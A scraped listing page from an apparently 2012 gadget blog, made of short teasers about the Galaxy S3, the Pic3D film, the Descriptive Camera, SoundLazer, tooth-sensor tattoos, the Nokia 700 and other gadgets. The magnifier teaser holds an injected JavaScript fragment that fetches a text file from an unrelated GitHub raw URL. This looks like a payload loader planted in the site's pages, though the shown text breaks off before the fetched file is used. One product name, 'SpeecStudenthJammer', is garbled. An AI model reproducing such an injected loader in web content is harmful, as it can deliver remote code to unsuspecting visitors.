Samsung unveiled the Galaxy S3 at the start of this month and although it has yet to go on sale many are expecting it to be the biggest selling smartphone of the year and, like the earlier Galaxy S2, win a lot of awards for innovation. How does the Galaxy S3 compare to Motorola's latest flagship phone, the Razr Maxx? Although it was only released recently, the Razr Maxx draws a lot of inspiration from 2011's Razr.   Processors   The Galaxy S3 is the first quad core phone from Samsung Read more [...]

A magnifier was always thought of as a magic lens... But what if you wanted to take snapshots of what this magic lens provides you with? Phones' zoom isn't always a good idea, so here's what we've got. A rubber band that can be popped around any phone! Get amazingly great detailed shots of almost anything! "Keep it in your wallet or on your wrist." $15. [via bookofjoe]var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) Read more [...]

Global Wave have previously presented their Pic3D sheet, which when applied to a regular LCD monitor transforms it into a glasses-free 3D display, but guess what, it's currently available and no longer out of stock! As opposed to other films already on the market which use a parallax barrier to display the 3D image, Pic3D utilizes a lenticular lens system, Global Wave state that this method offers a light transmission level of 90%, and claim to have improved the field of view to 120°. There Read more [...]

And I thought that an image is worth a thousand words!! Inventor Matt Richardson simply calls it the Descriptive Camera (soon to be called Photo2Text). Here's how it works: The camera captures a digital image and sends it to a person to write the description .Richardson uses Amazon’s Mechanical Turk service to find people who will describe the photo. Finally, the camera’s built-in thermal printer will print out the description, so there could be a privacy issue there. The whole process takes Read more [...]

When 3D first started gaining momentum in cinemas back in the mid-noughties, everybody said it wouldn't last; 'It's just a fad!' Well, that might still hold true, but we're sitting in 2012 and 3D cinema is still going strong, with both Titanic and Beauty and the Beast being re-released to cinemas in 3D this April. Which leads us to smartphones; what better time to muse upon the popularity of the 3D phone than now? While the country awaits a decision on whether and when the LG Optimus 3D Max is Read more [...]

Ever wanted to listen to music without sharing it with anyone? Although you could use earphones, the SoundLazer is much more comfortable; it also lets you hear the music without losing the ability to hear surrounding environment's sounds. Parametric speaker technology forces highly-directional sound from the front of its speaker elements, so you only hear the sound if you’re standing in a direct line with the speaker. Up until now, parametric speakers were pretty difficult to come by, and generally Read more [...]

You know that very first tickle in the back of your throat that tells you a cold is coming on? What if you could figure it out even sooner – as soon as the first bacteria took hold? A team at Princeton is developing tooth “tattoos” that could detect illness from the bacteria in your breath, starting before you even realize you’re getting sick. The tattoos are wireless and powered by resonant coils so there’s no need for charging or batteries. They work with the wonder material Read more [...]

If your greasy fingers are constantly leaving unsightly smudge marks on the screen of your smartphone, improving your personal hygiene will soon no longer be the only solution to your problem. The Japanese technology giant Sony has unveiled a smartphone that allows users to navigate the internet by hovering a finger over content links as opposed to sliding a finger over the screen. Sony claims the new technology will effectively turn the finger into a mouse cursor. The Android-powered Xperia Sola Read more [...]

Finally, you can now leave your gadgets by themselves; they would look for themselves, feed when in need without moving at all! THINK how convenient it would be if you could recharge electronic devices without ever having to plug them in — or even take them out of your briefcase. Instead, you could leave your briefcase on a counter in the living room at home, and the smartphones and tablets within could see to their own recharging. And the robotic vacuum cleaner in the corner of the room could Read more [...]

Remember the old days when the coolest kid at school was the one with the smallest phone? Dubbed as: "The smallest smartphone in the world" , the Nokia 700 is a neatly packed tiny, yet powerful, handset. The build quality is as impressive as all phones by Nokia. It feels so lovely to hold, the weight is right & the size is tight! Despite the weight, the phone impresses us with it's specs and features. Thanks to Nokia for sending us a device for a 2-weeks trial 🙂 Hardware: The Read more [...]

Opponents of 3D Technology may now sit back and enjoy 3D movies in 2D Format again, even when they're at a 3D Cinema, thanks to the De-3D Glasses! The glasses work by undoing the 3D effect that is created on movie screens. In the 3D screening of a movie, two slightly overlapping images are shown. One reaches each eye thanks to those lovely 3D glasses everyone in the theater wears, creating an artificial three dimensional effect. The De-3D Glasses grab only the right-side image, letting Read more [...]

Everyone must have encountered a really boring lecture during their lifetime, now here's a simple, yet geeky, solution; happy silencing! While you may get the urge to pull out a gun every time that loudmouth in your office starts rambling, common courtesy and a number of laws suggest that’s not the right way to go about regaining your peace. A team of researchers has developed a silencing gun called the SpeecStudenthJammer that serves to shut people up with no pain or risk to you or them. The Read more [...]